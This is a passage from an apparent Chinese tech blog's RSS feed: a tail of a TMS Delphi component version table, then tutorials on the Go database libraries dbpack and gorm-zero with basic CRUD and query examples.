云服务组件包&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS FNC Core&lt;/td&gt;&lt;td&gt;4.5.0.9&lt;/td&gt;&lt;td&gt;FNC 框架核心库&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS FNC Dashboard Pack&lt;/td&gt;&lt;td&gt;1.3.2.4&lt;/td&gt;&lt;td&gt;FNC 仪表盘组件包&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS FNC Gantt Chart&lt;/td&gt;&lt;td&gt;1.3.3.14&lt;/td&gt;&lt;td&gt;FNC 甘特图组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS FNC Grid Excel Bridge&lt;/td&gt;&lt;td&gt;3.5.0.0&lt;/td&gt;&lt;td&gt;FNC 表格与 Excel 桥接组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS FNC Localization&lt;/td&gt;&lt;td&gt;0.9.3.0&lt;/td&gt;&lt;td&gt;FNC 本地化/多语言支持&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS FNC Maps&lt;/td&gt;&lt;td&gt;4.6.1.1&lt;/td&gt;&lt;td&gt;FNC 地图组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS FNC Push Notifications&lt;/td&gt;&lt;td&gt;1.0.2.3&lt;/td&gt;&lt;td&gt;FNC 推送通知组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS FNC UI Pack&lt;/td&gt;&lt;td&gt;7.3.1.7&lt;/td&gt;&lt;td&gt;FNC UI 控件包&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS FNC WX Pack&lt;/td&gt;&lt;td&gt;1.7.3.6&lt;/td&gt;&lt;td&gt;FNC Web 扩展组件包&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS FNC WebSocket&lt;/td&gt;&lt;td&gt;1.0.6.2&lt;/td&gt;&lt;td&gt;FNC WebSocket 通信组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS FlexCel Studio for VCL and FireMonkey&lt;/td&gt;&lt;td&gt;7.27.2&lt;/td&gt;&lt;td&gt;Excel 文件读写与报表组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS Graphql&lt;/td&gt;&lt;td&gt;1.5.0.0&lt;/td&gt;&lt;td&gt;GraphQL 服务端/客户端支持&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS Logging&lt;/td&gt;&lt;td&gt;2.16.0.0&lt;/td&gt;&lt;td&gt;日志记录组件库&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS MCL&lt;/td&gt;&lt;td&gt;2.3.1.1&lt;/td&gt;&lt;td&gt;多线程/并发控制库&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS MQTT&lt;/td&gt;&lt;td&gt;2.0.11.3&lt;/td&gt;&lt;td&gt;MQTT 消息协议组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS MemInsight&lt;/td&gt;&lt;td&gt;1.1.2.1&lt;/td&gt;&lt;td&gt;内存分析与调试工具&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS PassKit&lt;/td&gt;&lt;td&gt;1.4.1.1&lt;/td&gt;&lt;td&gt;Apple PassKit/Wallet 集成&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS Query Studio&lt;/td&gt;&lt;td&gt;1.19.0.0&lt;/td&gt;&lt;td&gt;查询构建与分析工具&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS RemoteDB&lt;/td&gt;&lt;td&gt;2.27.0.0&lt;/td&gt;&lt;td&gt;远程数据库访问组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS Scripter&lt;/td&gt;&lt;td&gt;8.1.0&lt;/td&gt;&lt;td&gt;脚本引擎组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS Sparkle&lt;/td&gt;&lt;td&gt;3.41.0.0&lt;/td&gt;&lt;td&gt;HTTP 服务器/网络组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS Sphinx&lt;/td&gt;&lt;td&gt;2.6.0.0&lt;/td&gt;&lt;td&gt;认证与授权服务组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS VCL Chart&lt;/td&gt;&lt;td&gt;4.4.7.1&lt;/td&gt;&lt;td&gt;VCL 图表组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS VCL Cloud Pack&lt;/td&gt;&lt;td&gt;4.2.3.3&lt;/td&gt;&lt;td&gt;VCL 云服务组件包&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS VCL GUIMotions&lt;/td&gt;&lt;td&gt;2.3.0.0&lt;/td&gt;&lt;td&gt;VCL 界面动画组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS VCL Grid Excel Bridge&lt;/td&gt;&lt;td&gt;3.4.0.0&lt;/td&gt;&lt;td&gt;VCL 表格与 Excel 桥接组件&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS VCL Instrumentation Workshop&lt;/td&gt;&lt;td&gt;2.8.5.3&lt;/td&gt;&lt;td&gt;VCL 仪表控件工坊&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS VCL MultiTouch SDK&lt;/td&gt;&lt;td&gt;1.6.0.0&lt;/td&gt;&lt;td&gt;VCL 多点触控支持库&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS VCL Plugin Framwork&lt;/td&gt;&lt;td&gt;6.13.3.1&lt;/td&gt;&lt;td&gt;VCL 插件框架（原文拼写为 Framwork）&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS VCL Security System&lt;/td&gt;&lt;td&gt;4.2.4.1&lt;/td&gt;&lt;td&gt;VCL 安全/权限系统&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS VCL UI Pack&lt;/td&gt;&lt;td&gt;13.8.0.0&lt;/td&gt;&lt;td&gt;VCL UI 控件包&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS Workflow Studio&lt;/td&gt;&lt;td&gt;2.22.0.0&lt;/td&gt;&lt;td&gt;工作流设计引擎&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS XData&lt;/td&gt;&lt;td&gt;5.31.0.0&lt;/td&gt;&lt;td&gt;REST/JSON 服务端框架&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;TMS iCL&lt;/td&gt;&lt;td&gt;4.2.1.5&lt;/td&gt;&lt;td&gt;跨平台控件库（iOS/跨平台）&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;</description><pubDate>Tue, 03 Nov 2026 12:43:47 +0800</pubDate></item><item><title>Golang 数据库操作利器 dbpack：告别冗长 SQL，实现极简 CRUD 与灵活查询</title><link>https://www.zelig.cn/golang/1458.html</link><description>&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2026/10/20261001205029jmzfwzgtsz.svg&quot; alt=&quot;Golang 数据库操作利器 dbpack：告别冗长 SQL，实现极简 CRUD 与灵活查询&quot;&gt;&lt;/p&gt;&lt;h1 id=&quot;深入解析-dbpack-让-golang-数据库开发回归简单&quot;&gt;深入解析 dbpack：让 Golang 数据库开发回归简单&lt;/h1&gt;

&lt;p&gt;在 Golang 的生态系统中，数据库操作库的选择往往在“极简但功能不足”的轻量级库与“功能强大但学习成本极高”的重量级 ORM（如 GORM）之间摇摆。&lt;code&gt;dbpack&lt;/code&gt; 的出现，旨在提供一种&lt;strong&gt;平衡方案&lt;/strong&gt;：它既保留了 SQL 的直观性，又通过高度抽象的封装，极大地减少了重复性的样板代码（Boilerplate Code）。&lt;/p&gt;

&lt;h2 id=&quot;什么是-dbpack&quot;&gt;什么是 dbpack？&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;dbpack&lt;/code&gt; 是一个为 Golang 设计的数据库操作增强包。它并不是一个完全脱离 SQL 的 ORM，而是一个&lt;strong&gt;数据库操作的封装层&lt;/strong&gt;。其核心目标是通过泛型（Generics）和约定优于配置的原则，将常见的 CRUD（增删改查）操作标准化，使开发者能够用最少的代码完成最常见的数据库交互。&lt;/p&gt;

&lt;h3 id=&quot;核心设计哲学&quot;&gt;核心设计哲学&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;类型安全&lt;/strong&gt;：利用 Go 1.18+ 的泛型，确保查询结果在编译期即确定类型，避免频繁的类型断言。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;低侵入性&lt;/strong&gt;：不强制要求复杂的模型定义，通过简单的结构体标签即可完成映射。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;灵活性&lt;/strong&gt;：在提供快捷方法的同事，依然允许开发者执行原生 SQL，确保在面对复杂查询时不会被框架限制。&lt;/li&gt;
&lt;/ol&gt;

&lt;hr&gt;

&lt;h2 id=&quot;核心功能特性&quot;&gt;核心功能特性&lt;/h2&gt;

&lt;h3 id=&quot;1-泛型驱动的通用仓库-generic-repository&quot;&gt;1. 泛型驱动的通用仓库 (Generic Repository)&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;dbpack&lt;/code&gt; 允许你定义一个通用仓库，一次定义，全表适用。你不再需要为每个表编写 &lt;code&gt;GetUserById&lt;/code&gt;, &lt;code&gt;GetOrderById&lt;/code&gt; 这样重复的函数，而可以使用统一的 &lt;code&gt;GetByID[T]&lt;/code&gt; 接口。&lt;/p&gt;

&lt;h3 id=&quot;2-极简的-crud-接口&quot;&gt;2. 极简的 CRUD 接口&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Create&lt;/strong&gt;: 自动处理字段映射，一行代码完成插入。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update&lt;/strong&gt;: 支持部分更新（Partial Update），仅更新传入字段。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delete&lt;/strong&gt;: 支持主键删除或条件删除。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Query&lt;/strong&gt;: 提供链式调用或简单条件组合，快速构建查询语句。&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;3-智能映射&quot;&gt;3. 智能映射&lt;/h3&gt;

&lt;p&gt;通过结构体 Tag，&lt;code&gt;dbpack&lt;/code&gt; 能够自动将数据库列名映射到 Go 结构体字段，支持自动处理主键自增和时间戳。&lt;/p&gt;

&lt;hr&gt;

&lt;h2 id=&quot;快速上手实例&quot;&gt;快速上手实例&lt;/h2&gt;

&lt;p&gt;为了更好地理解 &lt;code&gt;dbpack&lt;/code&gt; 的威力，我们通过一个简单的“用户管理系统”示例来演示其用法。&lt;/p&gt;

&lt;h3 id=&quot;1-环境准备与模型定义&quot;&gt;1. 环境准备与模型定义&lt;/h3&gt;

&lt;p&gt;首先，定义你的数据库模型。注意使用 &lt;code&gt;db&lt;/code&gt; 标签来指定数据库列名。&lt;/p&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;package main

import (
	&amp;#34;fmt&amp;#34;
	&amp;#34;log&amp;#34;
	&amp;#34;time&amp;#34;

	&amp;#34;github.com/CECTC/dbpack&amp;#34;
	_ &amp;#34;github.com/go-sql-driver/mysql&amp;#34;
)

// User 定义用户模型
type User struct {
	ID        int64     `db:&amp;#34;id,primary&amp;#34;` // 标记为主键
	Username  string    `db:&amp;#34;username&amp;#34;`
	Email     string    `db:&amp;#34;email&amp;#34;`
	CreatedAt time.Time `db:&amp;#34;created_at&amp;#34;`
	UpdatedAt time.Time `db:&amp;#34;updated_at&amp;#34;`
}
&lt;/pre&gt;
&lt;h3 id=&quot;2-初始化连接与仓库&quot;&gt;2. 初始化连接与仓库&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;dbpack&lt;/code&gt; 将数据库连接封装在仓库对象中，使得依赖注入变得非常简单。&lt;/p&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;func main() {
	// 1. 建立数据库连接 (使用标准 sql.DB)
	dsn := &amp;#34;user:password@tcp(127.0.0.1:3306)/test_db?charset=utf8mb4&amp;amp;parseTime=True&amp;#34;
	db, err := dbpack.OpenMySQL(dsn) 
	if err != nil {
		log.Fatal(err)
	}
	defer db.Close()

	// 2. 创建一个针对 User 模型的通用仓库
	userRepo := dbpack.NewRepository[User](db)
    
    // 后续操作将全部通过 userRepo 完成
}
&lt;/pre&gt;
&lt;h3 id=&quot;3-实际操作演示&quot;&gt;3. 实际操作演示&lt;/h3&gt;

&lt;h4 id=&quot;a-插入数据-create&quot;&gt;A. 插入数据 (Create)&lt;/h4&gt;

&lt;p&gt;无需编写 &lt;code&gt;INSERT INTO users ...&lt;/code&gt;，直接传入结构体。&lt;/p&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;newUser := User{
    Username:  &amp;#34;golang_dev&amp;#34;,
    Email:     &amp;#34;dev@example.com&amp;#34;,
    CreatedAt: time.Now(),
}

// Insert 会自动执行插入并回填自增 ID 到 newUser.ID
err := userRepo.Insert(&amp;amp;newUser)
if err != nil {
    log.Printf(&amp;#34;插入失败: %v&amp;#34;, err)
}
fmt.Printf(&amp;#34;创建用户成功，ID: %d\n&amp;#34;, newUser.ID)
&lt;/pre&gt;
&lt;h4 id=&quot;b-根据主键查询-read&quot;&gt;B. 根据主键查询 (Read)&lt;/h4&gt;

&lt;p&gt;利用泛型，返回的结果直接就是 &lt;code&gt;*User&lt;/code&gt; 类型。&lt;/p&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;var user User
err := userRepo.GetByID(1, &amp;amp;user) // 假设 ID 为 1
if err != nil {
    log.Printf(&amp;#34;用户不存在: %v&amp;#34;, err)
}
fmt.Printf(&amp;#34;查询到用户: %s, 邮箱: %s\n&amp;#34;, user.Username, user.Email)
&lt;/pre&gt;
&lt;h4 id=&quot;c-条件查询-query&quot;&gt;C. 条件查询 (Query)&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;dbpack&lt;/code&gt; 提供了灵活的条件构建方式。&lt;/p&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;var users []User
// 查找所有邮箱后缀为 @example.com 的用户
err = userRepo.Find(&amp;amp;users, &amp;#34;email LIKE ?&amp;#34;, &amp;#34;%@example.com&amp;#34;)
if err != nil {
    log.Printf(&amp;#34;查询失败: %v&amp;#34;, err)
}
fmt.Printf(&amp;#34;共找到 %d 个匹配用户\n&amp;#34;, len(users))
&lt;/pre&gt;
&lt;h4 id=&quot;d-更新与删除-update-delete&quot;&gt;D. 更新与删除 (Update &amp;amp; Delete)&lt;/h4&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;// 更新用户邮箱
user.Email = &amp;#34;new_email@example.com&amp;#34;
err = userRepo.Update(&amp;amp;user) // 根据主键更新

// 删除用户
err = userRepo.Delete(1) // 根据主键删除
&lt;/pre&gt;
&lt;hr&gt;

&lt;h2 id=&quot;dbpack-vs-传统-orm-如-gorm&quot;&gt;dbpack vs 传统 ORM (如 GORM)&lt;/h2&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;维度&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;传统重量级 ORM&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;dbpack&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;学习曲线&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;陡峭，需学习大量特有 API&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;平缓，接近原生 SQL 逻辑&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;性能开销&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;较高（大量反射与复杂 Hook）&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;较低（轻量级映射）&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;类型安全&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;部分依赖 &lt;code&gt;interface{}&lt;/code&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;强类型（基于泛型）&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;控制力&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;屏蔽 SQL，复杂查询需写 Raw SQL&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;鼓励 SQL 意识，封装重复劳动&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;strong&gt;代码量&lt;/strong&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;较少，但隐藏细节多&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;极少，且逻辑透明&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;hr&gt;

&lt;h2 id=&quot;适用场景建议&quot;&gt;适用场景建议&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;你应该在以下场景选择 &lt;code&gt;dbpack&lt;/code&gt;：&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;中小型项目&lt;/strong&gt;：不需要极其复杂的关联关系（如多对多、深层嵌套预加载），但希望快速开发。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;追求性能的微服务&lt;/strong&gt;：不希望 ORM 的反射机制带来不可控的延迟，但又厌倦了写重复的 &lt;code&gt;Scan&lt;/code&gt; 代码。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;从原生 &lt;code&gt;sqlx&lt;/code&gt; 迁移&lt;/strong&gt;：如果你习惯 &lt;code&gt;sqlx&lt;/code&gt; 的风格，但希望拥有更统一的 Repository 模式，&lt;code&gt;dbpack&lt;/code&gt; 是完美的升级方案。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;快速原型开发&lt;/strong&gt;：需要极速搭建 CRUD 接口，且希望代码结构清晰、易于维护。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;总结&quot;&gt;总结&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;dbpack&lt;/code&gt; 并不是要取代所有的数据库工具，而是为 Golang 开发者提供了一把“快刀”。它通过泛型技术解决了 Go 语言在数据库操作中长期存在的“重复代码”痛点，在保持了 SQL 掌控力的同时，极大地提升了开发效率。&lt;/p&gt;

&lt;p&gt;如果你正在寻找一个&lt;strong&gt;不臃肿、类型安全、且能快速上手&lt;/strong&gt;的数据库封装库，&lt;code&gt;dbpack&lt;/code&gt; 绝对值得尝试。&lt;/p&gt;
</description><pubDate>Tue, 03 Nov 2026 04:01:58 +0800</pubDate></item><item><title>用 GORM 像写 SQL 一样简单？gorm-zero：让 Golang 数据库操作实现“零”心智负担的极简方案</title><link>https://www.zelig.cn/golang/1457.html</link><description>&lt;p&gt;&lt;img src=&quot;/zb_users/upload/2026/10/20261001205019jjdbqfgdif.svg&quot; alt=&quot;用 GORM 像写 SQL 一样简单？gorm-zero：让 Golang 数据库操作实现“零”心智负担的极简方案&quot;&gt;&lt;/p&gt;&lt;h1 id=&quot;告别冗长的-gorm-代码-gorm-zero-深度解析与实战指南&quot;&gt;告别冗长的 GORM 代码：gorm-zero 深度解析与实战指南&lt;/h1&gt;

&lt;h2 id=&quot;1-为什么需要-gorm-zero&quot;&gt;1. 为什么需要 gorm-zero？&lt;/h2&gt;

&lt;p&gt;在 Golang 的生态中，GORM 是绝对的霸主。它功能强大，支持几乎所有的数据库特性。然而，随着项目的规模扩大，开发者往往会发现 GORM 的 API 过于灵活，导致在编写基础的 CRUD（增删改查）操作时，代码显得异常冗长。&lt;/p&gt;

&lt;p&gt;例如，一个简单的“根据 ID 查询并更新某个字段”的操作，在标准 GORM 中可能需要多次调用链。而 &lt;code&gt;gorm-zero&lt;/code&gt; 的核心哲学就是：&lt;strong&gt;通过对 GORM 的二次封装，将高频的数据库操作模式化，实现代码的极简主义。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;它旨在消除重复的样板代码，让开发者将精力集中在业务逻辑而非 API 的调用顺序上。&lt;/p&gt;

&lt;hr&gt;

&lt;h2 id=&quot;2-gorm-zero-核心特性&quot;&gt;2. gorm-zero 核心特性&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;gorm-zero&lt;/code&gt; 并不是要替代 GORM，而是作为 GORM 的一个“增强插件”或“快捷方式层”。其核心优势体现在：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;极简 API 设计&lt;/strong&gt;：将复杂的查询链简化为单一的方法调用。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;类型安全&lt;/strong&gt;：在简化代码的同时，依然保持了 Golang 的强类型检查。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;零侵入性&lt;/strong&gt;：它基于标准的 &lt;code&gt;*gorm.DB&lt;/code&gt; 实例，这意味着你可以随时切换回原生 GORM 编写复杂查询。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高效开发&lt;/strong&gt;：大幅减少了 &lt;code&gt;Where().First().Updates()&lt;/code&gt; 这种重复性组合的编写时间。&lt;/li&gt;
&lt;/ul&gt;

&lt;hr&gt;

&lt;h2 id=&quot;3-快速上手实例&quot;&gt;3. 快速上手实例&lt;/h2&gt;

&lt;p&gt;为了让你直观感受到 &lt;code&gt;gorm-zero&lt;/code&gt; 的威力，我们通过一个典型的“用户管理系统”场景来对比原生 GORM 与 &lt;code&gt;gorm-zero&lt;/code&gt; 的写法。&lt;/p&gt;

&lt;h3 id=&quot;3-1-环境准备&quot;&gt;3.1 环境准备&lt;/h3&gt;

&lt;p&gt;首先，安装依赖：&lt;/p&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;go get github.com/SpectatorNan/gorm-zero
&lt;/pre&gt;
&lt;h3 id=&quot;3-2-基础定义&quot;&gt;3.2 基础定义&lt;/h3&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;package main

import (
	&amp;#34;gorm.io/driver/mysql&amp;#34;
	&amp;#34;gorm.io/gorm&amp;#34;
	&amp;#34;github.com/SpectatorNan/gorm-zero&amp;#34;
)

type User struct {
	ID   uint   `gorm:&amp;#34;primaryKey&amp;#34;`
	Name string `gorm:&amp;#34;size:255&amp;#34;`
	Age  int
	Email string
}

func main() {
	dsn := &amp;#34;user:pass@tcp(127.0.0.1:3306)/dbname?charset=utf8mb4&amp;amp;parseTime=True&amp;amp;loc=Local&amp;#34;
	db, _ := gorm.Open(mysql.Open(dsn), &amp;amp;gorm.Config{})

	// 初始化 gorm-zero 包装器
	gz := gormzero.New(db)
}
&lt;/pre&gt;
&lt;h3 id=&quot;3-3-场景对比-单条记录查询与更新&quot;&gt;3.3 场景对比：单条记录查询与更新&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;场景&lt;/strong&gt;：根据 ID 找到用户，如果存在则更新其年龄。&lt;/p&gt;

&lt;h4 id=&quot;原生-gorm-写法&quot;&gt;❌ 原生 GORM 写法&lt;/h4&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;var user User
result := db.Where(&amp;#34;id = ?&amp;#34;, 1).First(&amp;amp;user)
if result.Error == nil {
    db.Model(&amp;amp;user).Update(&amp;#34;age&amp;#34;, 25)
}
&lt;/pre&gt;
&lt;h4 id=&quot;gorm-zero-写法&quot;&gt;✅ gorm-zero 写法&lt;/h4&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;// 使用 gz 提供的快捷方法，一行代码完成定位与更新
gz.UpdateByID(&amp;amp;User{}, 1, &amp;#34;age&amp;#34;, 25)
&lt;/pre&gt;
&lt;h3 id=&quot;3-4-场景对比-条件查询列表&quot;&gt;3.4 场景对比：条件查询列表&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;场景&lt;/strong&gt;：查询所有年龄大于 18 且名称包含 &amp;ldquo;Zhang&amp;rdquo; 的用户。&lt;/p&gt;

&lt;h4 id=&quot;原生-gorm-写法-1&quot;&gt;❌ 原生 GORM 写法&lt;/h4&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;var users []User
db.Where(&amp;#34;age &amp;gt; ? AND name LIKE ?&amp;#34;, 18, &amp;#34;%Zhang%&amp;#34;).Find(&amp;amp;users)
&lt;/pre&gt;
&lt;h4 id=&quot;gorm-zero-写法-1&quot;&gt;✅ gorm-zero 写法&lt;/h4&gt;
&lt;div class=&quot;prism-show-language&quot;&gt;&lt;div class=&quot;prism-show-language-label&quot; data-language=&quot;text&quot;&gt;text&lt;/div&gt;&lt;/div&gt;&lt;pre class=&quot;prism-highlight prism- language-text prism-line-numbers&quot; data-language=&quot;text&quot;&gt;// 更加语义化的条件传递
users, err := gz.FindList(&amp;amp;User{}, gormzero.Condition{
    &amp;#34;age&amp;#34;: gormzero.Gt(18),
    &amp;#34;name&amp;#34;: gormzero.Like(&amp;#34;Zhang&amp;#34;),
})
&lt;/pre&gt;
&lt;hr&gt;

&lt;h2 id=&quot;4-核心-api-详解&quot;&gt;4. 核心 API 详解&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;gorm-zero&lt;/code&gt; 将数据库操作分为了几个核心维度，极大简化了开发心智：&lt;/p&gt;

&lt;h3 id=&quot;4-1-快速更新-quick-update&quot;&gt;4.1 快速更新 (Quick Update)&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;gorm-zero&lt;/code&gt; 提供了多种 &lt;code&gt;Update&lt;/code&gt; 变体，避免了手动构建 &lt;code&gt;Model&lt;/code&gt; 和 &lt;code&gt;Where&lt;/code&gt; 子句的麻烦。
- &lt;code&gt;UpdateByID&lt;/code&gt;: 直接通过主键更新指定字段。
- &lt;code&gt;UpdateWhere&lt;/code&gt;: 根据自定义条件批量更新。&lt;/p&gt;

&lt;h3 id=&quot;4-2-智能查询-smart-query&quot;&gt;4.2 智能查询 (Smart Query)&lt;/h3&gt;

&lt;p&gt;通过引入 &lt;code&gt;Condition&lt;/code&gt; 结构体，&lt;code&gt;gorm-zero&lt;/code&gt; 将 SQL 的比较运算符（&lt;code&gt;&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;&lt;/code&gt;, &lt;code&gt;&amp;gt;=&lt;/code&gt;, &lt;code&gt;&amp;lt;=&lt;/code&gt;, &lt;code&gt;LIKE&lt;/code&gt;, &lt;code&gt;IN&lt;/code&gt;）映射为了 Go 函数。
